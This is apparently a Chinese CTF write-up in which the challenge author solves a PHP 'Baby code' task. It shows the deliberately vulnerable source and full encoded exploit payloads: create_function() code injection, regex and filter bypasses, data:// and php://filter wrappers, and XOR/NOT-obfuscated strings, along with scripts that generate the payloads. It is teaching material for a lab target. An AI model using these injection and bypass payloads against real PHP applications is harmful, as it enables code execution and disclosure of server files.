Author: 颖奇L’Amore
出题人: 颖奇L’Amore (平台id:Y1ng)
Blog: www.gem-love.com
源码:https://github.com/y1nglamore/Y1ngCTF/
本文图片全部采用OSS来提速
前言
这个题目其实是我改编自2019年北邮的一道题目,当时也去参加了那个比赛,姿势也不是第一次出现,但是还是相对比较新颖的。今天一个偶然的机会又翻出了当年的截图,就参考着呢个代码,改出了我这个题。主要考点还是没有变——PHP的create_function()
代码注入。
不过这个题由于正则匹配不全,导致可以进行异或和取反运算,被Shana师傅和piCEBDC7师傅给非预期了。有新的非预期也欢迎私信联系我。
这个题被Shana师傅改了改放到了BJDCTF上了,经过BJDCTF比赛,又发现了2个非预期。后面一并介绍
create_function()代码注入介绍
create_function()
函数有两个参数$args
和$code
,用于创建一个lambda样式的函数
可以看一个小例子,利用create_function()
创建一个myFunc()
函数,用于计算两个变量之和
实际上myFunc()
就相当于:
function myFunc($a, $b){
return $a+$b;
}
这看似正常,实则充满危险。由于$code
可控,底层又没有响应的保护参数,就导致出现了代码注入。见如下例子:
<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST['Y1ng']);\\');
执行时的myFunc()
为:
function myFunc($a, $b){
return $a+$b;
}
eval($_POST['Y1ng']);//}
通过手工闭合}
使后面的代码eval()
逃逸出了myFunc()
得以执行,然后利用注释符//
注释掉}
保证了语法正确。
代码注入getshell演示:
解题
打开题目主页,没有发现有用信息,题目告知flag不在这里
查看网站源代码,发现一个注释
<!-- 316E4433782E706870 -->
HEX Decode后得到1nD3x.php
访问后得到源代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$y1ng = $_GET['y1ng'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<font color=red><B>Notice1: If you get my flag, you will get a BIG GIFT!</B><br></font>";
echo "<font color=red><B>Notice2: Dangerous functions, such as shell_exec() system() and so on, are disabled in php.ini. Chopper&AntSword are also useless!</B><br></font>";
echo "<font color=red><B>Notice3: flag is Y1ng{xxxxxxxx}!</B><br><br></font>";
if($_SERVER) {
if (
preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('fxck your key words!');
}
if (!preg_match('/http/i', $_GET['file'])) {
if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') {
$file = $_GET["file"];
echo "Yes! You know that I zuishuai!<br>";
}
} else die('fxck you! no RFI!!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck your English letters');
}
}
if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')
die(' Am not I universe wudi zuishuai?<br>');
if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die('fxck you! you dont know password! you dont know sha1! why you come here!');
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg) ) {
die('fxck you! Read my Regular Express1on!');
} else {
include "flag.php";
$code('', $arg);
} ?>
题目叫Baby code,很明显的代码审计题。就从上往下看吧!
考点1:绕过QUERY_STRING的正则匹配
if($_SERVER) {
if (
preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('fxck your key words!');
}
这个正则匹配了许多关键字,比如y1ng zuishuai flag passwd这些都是必须要用的,所以需要bypass。
首先了解一下QUERY_STRING:
原文链接 http://blog.sina.com.cn/s/blog_686999de0100jgda.html
1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
由实例可知:
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名
由于$_SERVER['QUERY_STRING']
不会进行URLDecode,而$_GET[]
会,所以只要进行url编码即可绕过:
考点2:绕过y1ngzuishuai的正则匹配
if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') {
$file = $_GET["file"];
echo "Yes! You know that I zuishuai!<br>";
}
看这段代码(先不管他外面那个禁止RFI的if条件),/^y1ngzuishuai$/
中^
匹配起始、$
匹配结束,但又不能是y1ngzuishuai。
对于这种正则匹配,可以使用%0a
换行污染绕过,payload:
?zuishuai=y1ngzuishuai%0a
考点3:绕过$_REQUEST的字母匹配
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck your English letters');
}
}
foreach
循环遍历$_REQUEST
数组,将键值赋给$value
,然后检测$value
是否包含字母,若是 则die()
。
根据题目可知,我们必须要$_GET[]
一些东西,比如考点2中的y1ngzuishuai%0a
。我们知道$_REQUEST
同时接受GET和POST的数据,并且POST具有更高的优先值,这个点在GXY_CTF中的”Do you know Robots”出现过,参考:
其实这个优先级是由php的配置文件决定的,在php.ini中(我的是598-609行):
; This directive determines which super global arrays are registered when PHP
; starts up. G,P,C,E & S are abbreviations for the following respective super
; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance penalty
; paid for the registration of these arrays and because ENV is not as commonly
; used as the others, ENV is not recommended on productions servers. You
; can still get access to the environment variables through getenv() should you
; need to.
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS";
; http://php.net/variables-order
variables_order = "GPCS"
; This directive determines which super global data (G,P & C) should be
; registered into the super global array REQUEST. If so, it also determines
; the order in which that data is registered. The values for this directive
; are specified in the same manner as the variables_order directive,
; EXCEPT one. Leaving this value empty will cause PHP to use the value set
; in the variables_order directive. It does not mean it will leave the super
; globals array REQUEST empty.
; Default Value: None
; Development Value: "GP"
; Production Value: "GP"
; http://php.net/request-order
request_order = "GP"
翻译一下:
这个指令决定了当PHP启动时注册哪些超全局数组。G,P,C,E,S分别是以下超全局数组的缩写:GET, POST, COOKIE, ENV, SERVER. 注册这些数组需要在性能上付出代价,而且因为ENV不像其他的那样通用,不推荐将ENV用在生产服务器上。如果需要的话,你仍然可以通过getenv()来访问这些环境变量。
默认的优先级ENV<GET<POST<COOKIE<SERVERvariables_order = “GPCS”
此指令确定哪些超级全局数据(G P C)应注册到超级全局数组REQUEST中。如果是这样,它还决定了数据注册的顺序。此指令的值以与variables_order指令相同的方式指定,只有一个除外。将此值保留为空将导致PHP使用variables order指令中设置的值。这并不意味着它会让super globals数组请求为空。
request的顺序:GET<POST
request_order = “GP”
因此对于需要GET的一些参数,比如zuishuai
,只需要同时POST一个数字即可绕过:
考点4:绕过文件内容读取的比较
$file = "1nD3x.php";
if (!preg_match('/http/i', $_GET['file'])) {
if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') {
$file = $_GET["file"];
echo "Yes! You know that I zuishuai!<br>";
}
} else
die('fxck you! no RFI!!');
if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')
die(' Am not I universe wudi zuishuai?<br>');
只要绕过y1ngzuishuai后,$file
变量就可控了,但是没有任何一个本地文件的内容是y1ng_YuZhou….,正则匹配了http又无法远程文件包含。所以需要构造出一个$file
,使file_get_contents()
返回题目要的字符串。
data://
伪协议使用方法如下:
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
该伪协议可以得到一串文本,示例中的文本就是<?php phpinfo()?>
,如果在LFI中使用该伪协议可以导致代码执行,像这样:
但是本题目只file_get_contents()
来做比较判断并不包含,因此无法通过data://
进行RCE,却可以用来绕过比较。payload:
file=data:text/plain,y1ng_YuZhou_Wudi_zuishuai
结合其他代码
- post提交file=1绕过
$_REQUEST
- y1ng是被ban掉的关键字,因此可以将
y1ng_YuZhou_Wudi_zuishuai
进行url编码后,都可以绕过。
所以最终payload为:
file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69
或者如果加上base64的话,因为y1ng_YuZhou_Wudi_zuishuai
这个字符串进行base64编码后包含ob
,而ob
被正则给ban
了,因此用base64也要url编码,payload:
file=data://text/plain;base64,%65%54%46%75%5a%31%39%5a%64%56%70%6f%62%33%56%66%56%33%56%6b%61%56%39%36%64%57%6c%7a%61%48%56%68%61%51==
考点5,绕过sha1比较
$y1ng = $_GET['y1ng'];
$passwd = $_GET['passwd'];
if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die('fxck you! you dont know password! you dont know sha1! why you come here!');
}
题目要求$y1ng
和$passwd
不相等,但是他们的sha1
要相等,如何绕过?
sha1()
函数是无法处理数组的,如果sha1()
的参数为一个数组会报Warning并返回False,演示:
所以只要$y1ng
和$password
都是数组,那么就会双双返回false,相等。
总结一下上面5个小考点的payload
?zuishuai=y1ngzuishuai%0a&y1ng[]=1&passwd[]=2&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai
编码后为
?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%25%30%61&%79%31%6e%67%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%66%69%6c%65=%64%61%74%61://%74%65%78%74/%70%6c%61%69%6e%2c%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69
别忘了Post:
zuishuai=1&file=1
考点6,create_function()代码注入
这个原理在文章开头就介绍了,前面的几个考点只不过是挖的小坑,这才是题目核心的地方。
$arg = '';
$code = '';
if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg) ) {
die('fxck you! Read my Regular Express1on!');
} else {
include "flag.php";
$code('', $arg);
} ?>
这里好多正则匹配的关键字,我的出题初衷就是:
- 不执行系统命令
- 不读源码(虽然还是被非预期读源码了
关于读源码,可参考:
这里其实ban了的关键字大多数都是根据无参数RCE能用到的函数来ban的。
$arg
和$code
变量都是可控的,因为extract()
函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量。因此只要extract()
内的数组键名为arg
和code
,键值为我们构造的用来注入的代码,即可实现$arg
和$code
的变量覆盖,导致代码注入。payload:
&flag[arg]=}a();//&flag[code]=create_function
这样就会执行a();
,这个a()
只是个暂时性演示,接下来再考虑到底执行什么php命令来得到flag
考点7,获得flag
接下来的考(keng)点完全是我为了搞心态才想出来的,结果被非预期了。
现在的困难:
- 不能通过
system()
等函数执行系统命令,就无法cat flag.php
- 过滤了flag等关键字,不能操作
$flag
变量 - 过滤了print等关键字,不能直接读取或类似无参数RCE的方法flag.php源代码
但是代码明确写了包含flag.php
else {
include "flag.php";
$code('', $arg);
}
如果我想让选手们cat flag.php
就不会故意去包含他了。包含了这个文件,代表可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值,可以想到:是否存在一个函数,能输出所有变量的值?
有的!get_defined_vars()
用来输出所有变量和值!Payload:
1nD3x.php?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%79%31%6e%67[]=111&%70%61%73%73%77%64[]=222&%70%61%73%73%77%64[]=222&%66%6c%61%67[arg]=}var_dump(get_defined_vars());//&%66%6c%61%67[code]=create_function&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69
POST: zuishuai=1&file=1
解码后:1nD3x.php?zuishuai=y1ngzuishuai
&y1ng[]=111&passwd[]=222&passwd[]=222&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai
可是明明执行了var_dump(get_defined_vars());
却没有任何回显 why?
这里挖了弱智小坑
include "flag.php"
包含flag.php 就会显示flag.php内的html。flag.php打开是白屏,表面上什么都没有,实际上却有一个html的注释符,包含他的那时起,这个<!--
就被嵌入到了网页中,导致后面的内容都被注释了
不过如果一位选手能够一路过关斩将成功执行了php函数,这种弱智坑当然是不在话下了,查看源代码即可
或者用burp的话,更直观,这都起不到干扰作用
在最后看到$flag
的值,得到的却是假flag!心态爆炸了吧!
不过至少他告诉了真的flag在1flag.php
里面。
考点8,得到真正的flag (不适用于BJDCTF)
这里被非预期了。
我的预期解法
我们可以继续通过刚刚的方法,就是get_defined_vars()
,得到1flag.php的变量的值,但是前提是需要包含1flag.php。
现在的困难:
- 过滤了include关键字
- 过滤了单引号双引号
- 过滤了flag关键字和类似无参数RCE题目中能够得到1flag.php字符串的各种函数的关键字,比如无法
scandir()
应对的策略:
- 过滤了include 还能用require
- 过滤了引号,可以使用那些参数可以不加引号的函数,
require()
代替require " "
- 过滤了flag,可以base64编码。其他过滤的不用便是
Payload:
/1nD3x.php?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%79%31%6e%67[]=111&%70%61%73%73%77%64[]=222&%70%61%73%73%77%64[]=222&%66%6c%61%67[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[code]=create_function&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69
POST: zuishuai=1&file=1
解码后:/1nD3x.php?zuishuai=y1ngzuishuai
&y1ng[]=111&passwd[]=222&passwd[]=222&flag[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai
核心部分:require(base64_decode(MWZsYWcucGhw));
MWZsYWcucGhw解码后为1flag.php。另外base64_decode("MWZsYWcucGhw")
把引号去掉也是可以的,所以能够bypass引号过滤。
得到flag。
非预期1 | 异或绕过 | By piCEBDC7 (不适用于BJDCTF)
正则匹配了&
和|
导致无法与运算和或运算,但是可以^
异或和~
按位取反。
Payload:
&%66%6c%61%67[arg]=}require(%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff);var_dump(get_defined_vars());//
其中,%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff
这个异或运算的结果就是1flag.php,所以大体思路还是一样的,只是构造1flag.php的方法有所不同。
至于这个异或表达式如何生成的,我写了个php的脚本:
<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$flag = "1 f l a g . p h p";
$arr = explode(' ', $flag);
foreach ($arr as $key => $value) {
echo "%".dechex(ord($value)^0xff);
}
echo "^";
foreach ($arr as $key => $value) {
echo "%ff";
}
piCEBDC7师傅自己写的py脚本:
#Author: piCEBDC7
str_= '1flag.php'
str_=list(str_)
final=''
for x in str_:
print(hex(~ord(x)&0xff))
final+=hex(~ord(x)&0xff)
print(str_)
final = final.replace('0x','%')
final+='^'
for x in range(len(str_)):
final+=r'%ff'
print(final)
非预期2 | 取反绕过+伪协议读源码 | By Nepnep.Shana (BJDCTF预期解)
这个非预期是真的我没想到,但是也不感到奇怪,毕竟Shana师傅的姿势奇高无比!我太菜了
Payload:
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%CE%99%93%9E%98%D1%8F%97%8F));//
中间的取反结果为:
php://filter/read=convert.base64-encode/resource=1flag.php
相当于是利用require()
本地文件包含+用伪协议读源码!(出题各种ban关键字就是不想被直接读源码,结果还是防不胜防啊)
顺便一提,其实~
后面也可以不加括号,~%8F%97%8F%C5%D0
这样就是对~
后面所有字符都做取反了,无所谓啦。
生成该取反Payload可以使用如下脚本:
<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = 1 f l a g . p h p";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";
当然也可以异或+伪协议,Payload:
require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff);//
将得到的base64解密后即可得到flag
非预期3 | define+fopen()+fgets() | By 我+imagin+Nepnep.Shana (BJDCTF非预期)
没ban掉fopen()
,可以fgets()
读取文件,但是这个文件指针需要移动就不能读取完整文件,$
被禁无法定义变量,最后测试无果后交给shana师傅,被shana师傅整出来了(ttttql),用常量,Payload:
define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);
(这个非预期是BJDCTF发现的,BJD的题目的文件名和变量名和本题目略有差别,这里直接用BJD版payload,懒得改了)
非预期4 | 数组操作 | By rdd+P3rh4ps (BJDCTF非预期)
这个非预期4是BJDCTF发现的。rdd师傅和P3师傅的两个解法payload略有差别,但是原理相同。
rdd:
如果在url后面加上rdd=php://filter/convert.base64-encode/resource=1flag.php
,之后get_defined_vars()
得到多维数组,pos()
取内部指针指向的首个元素后得到一个数组,在end()
取最后一个元素就得到了刚刚url后面加上的php://filter
得到了这个伪协议然后再require()
即可得到源代码,Payload:
1nD3x.php?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%79%31%6e%67[]=111&%70%61%73%73%77%64[]=222&%70%61%73%73%77%64[]=222&%66%6c%61%67[arg]=}var_dump(require(end(pos(get_defined_vars()))));//&%66%6c%61%67[code]=create_function&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&rdd=%70%68%70://%66%69%6c%74%65%72/%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/%72%65%73%6f%75%72%63%65=%31%66%6c%61%67%2e%70%68%70
POST: file=1&zuishuai=1&rdd=1
解码后:1nD3x.php?zuishuai=y1ngzuishuai
&y1ng[]=111&passwd[]=222&passwd[]=222&flag[arg]=}var_dump(require(end(pos(get_defined_vars()))));//&flag[code]=create_function&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai&rdd=php://filter/convert.base64-encode/resource=1flag.php
P3rh4ps:
(这里直接用BJD版payload,懒得改了)
也是加了个参数,传上去伪协议,然后get_defined_vars()
数组获取到这个伪协议放到require()
里包含,payload:
?deb%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&rce=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%72%65%61%31%66%6c%34%67%2e%70%68%70&rce2=r&sha%6e%61[]=a&pa%73sw%64[]=b&fla%67[co%64e]=create_function&fla%67[ar%67]=;}require(get_defined_vars()[_GET][rce]);%0a//
解码后:?debu=aqua_is_cute
&file=data:,debu_debu_aqua&rce=php://filter/read=convert.base64-encode/resource=rea1fl4g.php&rce2=r&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=;}require(get_defined_vars()[_GET][rce]);
//
关于$_REQUEST的一点补充
我们先看下得到flag的最终Payload:
/1nD3x.php?%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%79%31%6e%67[]=111&%70%61%73%73%77%64[]=222&%70%61%73%73%77%64[]=222&%66%6c%61%67[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[code]=create_function&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69
POST: zuishuai=1&file=1
为了绕过$_REQUEST
对英文字母的匹配,特意post了zuishuai和file参数。但是Payload中明确还有:
y1ng[]=&passwd[]=&flag[arg]=&flag[code]=
这些参数却不用post。对此我写了个代码来研究这个问题:
<?php
highlight_file(__FILE__);
error_reporting(0);
echo $_SERVER['QUERY_STRING'] . "<br><br>";
if($_REQUEST) {
foreach($_REQUEST as $key=>$value) {
if(preg_match('/[a-zA-Z]/i', $value))
print("***". $key.' '.$value. "***<br>");
else
echo $key.' '.$value."<br>";
}
}
这个代码输出$_SERVER['QUERY_STRING']
和$_REQUEST
数组中所有的键和值,如果某个键值被这个字母正则给匹配了,就给它加上几个乘号。
可见,只有zuishuai和file的值被匹配了,因此payload只需要post zuishuai和file就可以了。
而对于y1ng passwd flag,输出的$value
为Array,并没有被正则表达式匹配。这是因为preg_match()
只能匹配字符串,数组得以绕过。
虽然是改出来的题,但还是学到了很多东西!
最后,别忘了去领取精心准备的$Your_Gift
哦!
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/770.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示